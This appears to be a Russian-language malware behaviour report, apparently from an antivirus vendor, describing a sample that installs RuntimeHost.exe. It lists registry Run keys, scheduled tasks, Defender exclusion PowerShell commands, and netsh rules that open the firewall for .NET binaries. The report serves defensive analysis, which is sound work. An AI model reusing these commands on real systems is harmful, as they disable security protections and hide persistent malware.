Техническая информация
Для обеспечения автозапуска и распространения
Модифицирует следующие ключи реестра
- [HKLM\Software\Microsoft\Windows\CurrentVersion\Run] 'WinSysCache' = '%ALLUSERSPROFILE%\Microsoft\Windows\Caches\FD9A54E7\RuntimeHost.exe'
- [HKCU\Software\Microsoft\Windows\CurrentVersion\Run] 'WinSysCache' = '%ALLUSERSPROFILE%\Microsoft\Windows\Caches\FD9A54E7\RuntimeHost.exe'
Создает или изменяет следующие файлы
- <SYSTEM32>\tasks\windows system health
- <SYSTEM32>\tasks\windows system health monitor
- <SYSTEM32>\tasks\windows system health check
- %APPDATA%\microsoft\windows\start menu\programs\startup\runtimehost.lnk
Устанавливает следующие настройки сервисов
- [HKLM\SYSTEM\CurrentControlSet\Services\IKEEXT] 'Start' = '00000002'
Вредоносные функции
Для обхода брандмауэра удаляет или модифицирует следующие ключи реестра
- [HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile] 'DisableNotifications' = '00000001'
- [HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\DomainProfile] 'DisableNotifications' = '00000001'
Для затруднения выявления своего присутствия в системе
блокирует запуск следующих системных утилит:
- Системный антивирус (Защитник Windows)
добавляет исключения антивируса:
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath @('C:\','%ALLUSERSPROFILE%\Microsoft\Windows\Caches\FD9A54E7\','%ALLUSERSPROFILE...
Запускает на исполнение
- '<SYSTEM32>\netsh.exe' advfirewall firewall add rule name="WindowsPerf-In" dir=in action=allow enable=yes profile=any
- '<SYSTEM32>\netsh.exe' advfirewall firewall add rule name="WindowsPerf-Out" dir=out action=allow enable=yes profile=any
- '<SYSTEM32>\netsh.exe' advfirewall firewall add rule name="RuntimeCache" dir=in action=allow remoteip=127.0.0.1 enable=yes profile=any
- '<SYSTEM32>\netsh.exe' advfirewall firewall add rule name="RuntimeCache-v6" dir=in action=allow remoteip=::1 enable=yes profile=any
- '<SYSTEM32>\netsh.exe' advfirewall firewall add rule name="InstallUtil" dir=in action=allow program="%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe" enable=yes profile=any
- '<SYSTEM32>\netsh.exe' advfirewall firewall add rule name="InstallUtil" dir=out action=allow program="%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe" enable=yes profile=any
- '<SYSTEM32>\netsh.exe' advfirewall firewall add rule name="RegAsm" dir=in action=allow program="%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe" enable=yes profile=any
- '<SYSTEM32>\netsh.exe' advfirewall firewall add rule name="RegAsm" dir=out action=allow program="%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe" enable=yes profile=any
- '<SYSTEM32>\netsh.exe' advfirewall firewall add rule name="RegSvcs" dir=in action=allow program="%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\RegSvcs.exe" enable=yes profile=any
- '<SYSTEM32>\netsh.exe' advfirewall firewall add rule name="RegSvcs" dir=out action=allow program="%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\RegSvcs.exe" enable=yes profile=any
- '<SYSTEM32>\netsh.exe' advfirewall firewall add rule name="MSBuild" dir=in action=allow program="%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe" enable=yes profile=any
- '<SYSTEM32>\netsh.exe' advfirewall firewall add rule name="MSBuild" dir=out action=allow program="%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe" enable=yes profile=any
- '<SYSTEM32>\netsh.exe' advfirewall firewall add rule name="AppLaunch" dir=in action=allow program="%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe" enable=yes profile=any
- '<SYSTEM32>\netsh.exe' advfirewall firewall add rule name="AppLaunch" dir=out action=allow program="%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe" enable=yes profile=any
- '<SYSTEM32>\netsh.exe' advfirewall firewall add rule name="AddInProcess" dir=in action=allow program="%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe" enable=yes profile=any
- '<SYSTEM32>\netsh.exe' advfirewall firewall add rule name="AddInProcess" dir=out action=allow program="%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe" enable=yes profile=any
- '<SYSTEM32>\netsh.exe' advfirewall firewall add rule name="aspnet_compiler" dir=in action=allow program="%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe" enable=yes profile=any
- '<SYSTEM32>\netsh.exe' advfirewall firewall add rule name="aspnet_compiler" dir=out action=allow program="%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe" enable=yes profile=any
- '<SYSTEM32>\netsh.exe' advfirewall firewall add rule name="SecurityHealthHost" dir=in action=allow program="<SYSTEM32>\SecurityHealthHost.exe" enable=yes profile=any
- '<SYSTEM32>\netsh.exe' advfirewall firewall add rule name="SecurityHealthHost" dir=out action=allow program="<SYSTEM32>\SecurityHealthHost.exe" enable=yes profile=any
- '<SYSTEM32>\netsh.exe' advfirewall firewall add rule name="RuntimeHost" dir=in action=allow program="%ALLUSERSPROFILE%\Microsoft\Windows\Caches\FD9A54E7\RuntimeHost.exe" enable=yes profile=any
- '<SYSTEM32>\netsh.exe' advfirewall firewall add rule name="RuntimeHost" dir=out action=allow program="%ALLUSERSPROFILE%\Microsoft\Windows\Caches\FD9A54E7\RuntimeHost.exe" enable=yes profile=any
Завершает или пытается завершить
следующие системные процессы:
- <SYSTEM32>\windowspowershell\v1.0\powershell.exe
Изменения в файловой системе
Создает следующие файлы
- %ALLUSERSPROFILE%\microsoft\windows\caches\fd9a54e7\runtimehost.exe
Присваивает атрибут 'скрытый' для следующих файлов
- %ALLUSERSPROFILE%\microsoft\windows\caches\fd9a54e7\runtimehost.exe
- %APPDATA%\microsoft\windows\start menu\programs\startup\runtimehost.lnk
Другое
Запускает на исполнение
- '<SYSTEM32>\schtasks.exe' /create /tn "Windows System Health" /tr "%ALLUSERSPROFILE%\Microsoft\Windows\Caches\FD9A54E7\RuntimeHost.exe" /sc onlogon /rl HIGHEST /f
- '<SYSTEM32>\schtasks.exe' /create /tn "Windows System Health Monitor" /tr "%ALLUSERSPROFILE%\Microsoft\Windows\Caches\FD9A54E7\RuntimeHost.exe" /sc onstart /delay 0001:00 /rl HIGHEST /f
- '<SYSTEM32>\schtasks.exe' /create /tn "Windows System Health Check" /tr "%ALLUSERSPROFILE%\Microsoft\Windows\Caches\FD9A54E7\RuntimeHost.exe" /sc minute /mo 5 /rl HIGHEST /f
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$p='HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications';if(!(Test-Path $p)){New-It...
- '<SYSTEM32>\netsh.exe' advfirewall firewall delete rule name="WindowsPerf-In" dir=in
- '<SYSTEM32>\netsh.exe' advfirewall firewall delete rule name="WindowsPerf-Out" dir=out
- '<SYSTEM32>\netsh.exe' advfirewall firewall delete rule name="RuntimeCache" dir=in
- '<SYSTEM32>\netsh.exe' advfirewall firewall delete rule name="RuntimeCache-v6" dir=in
- '<SYSTEM32>\netsh.exe' advfirewall firewall delete rule name="InstallUtil" dir=in program="%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe"
- '<SYSTEM32>\netsh.exe' advfirewall firewall delete rule name="InstallUtil" dir=out program="%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe"
- '<SYSTEM32>\netsh.exe' advfirewall firewall delete rule name="RegAsm" dir=in program="%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe"
- '<SYSTEM32>\netsh.exe' advfirewall firewall delete rule name="RegAsm" dir=out program="%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe"
- '<SYSTEM32>\netsh.exe' advfirewall firewall delete rule name="RegSvcs" dir=in program="%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\RegSvcs.exe"
- '<SYSTEM32>\netsh.exe' advfirewall firewall delete rule name="RegSvcs" dir=out program="%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\RegSvcs.exe"
- '<SYSTEM32>\netsh.exe' advfirewall firewall delete rule name="MSBuild" dir=in program="%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe"
- '<SYSTEM32>\netsh.exe' advfirewall firewall delete rule name="MSBuild" dir=out program="%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe"
- '<SYSTEM32>\netsh.exe' advfirewall firewall delete rule name="AppLaunch" dir=in program="%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe"
- '<SYSTEM32>\netsh.exe' advfirewall firewall delete rule name="AppLaunch" dir=out program="%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe"
- '<SYSTEM32>\netsh.exe' advfirewall firewall delete rule name="AddInProcess" dir=in program="%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe"
- '<SYSTEM32>\netsh.exe' advfirewall firewall delete rule name="AddInProcess" dir=out program="%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe"
- '<SYSTEM32>\netsh.exe' advfirewall firewall delete rule name="aspnet_compiler" dir=in program="%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe"
- '<SYSTEM32>\netsh.exe' advfirewall firewall delete rule name="aspnet_compiler" dir=out program="%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe"
- '<SYSTEM32>\netsh.exe' advfirewall firewall delete rule name="SecurityHealthHost" dir=in program="<SYSTEM32>\SecurityHealthHost.exe"
- '<SYSTEM32>\netsh.exe' advfirewall firewall delete rule name="SecurityHealthHost" dir=out program="<SYSTEM32>\SecurityHealthHost.exe"
- '<SYSTEM32>\netsh.exe' advfirewall firewall delete rule name="RuntimeHost" dir=in program="%ALLUSERSPROFILE%\Microsoft\Windows\Caches\FD9A54E7\RuntimeHost.exe"
- '<SYSTEM32>\netsh.exe' advfirewall firewall delete rule name="RuntimeHost" dir=out program="%ALLUSERSPROFILE%\Microsoft\Windows\Caches\FD9A54E7\RuntimeHost.exe"
- '%WINDIR%\microsoft.net\framework\v4.0.30319\installutil.exe'
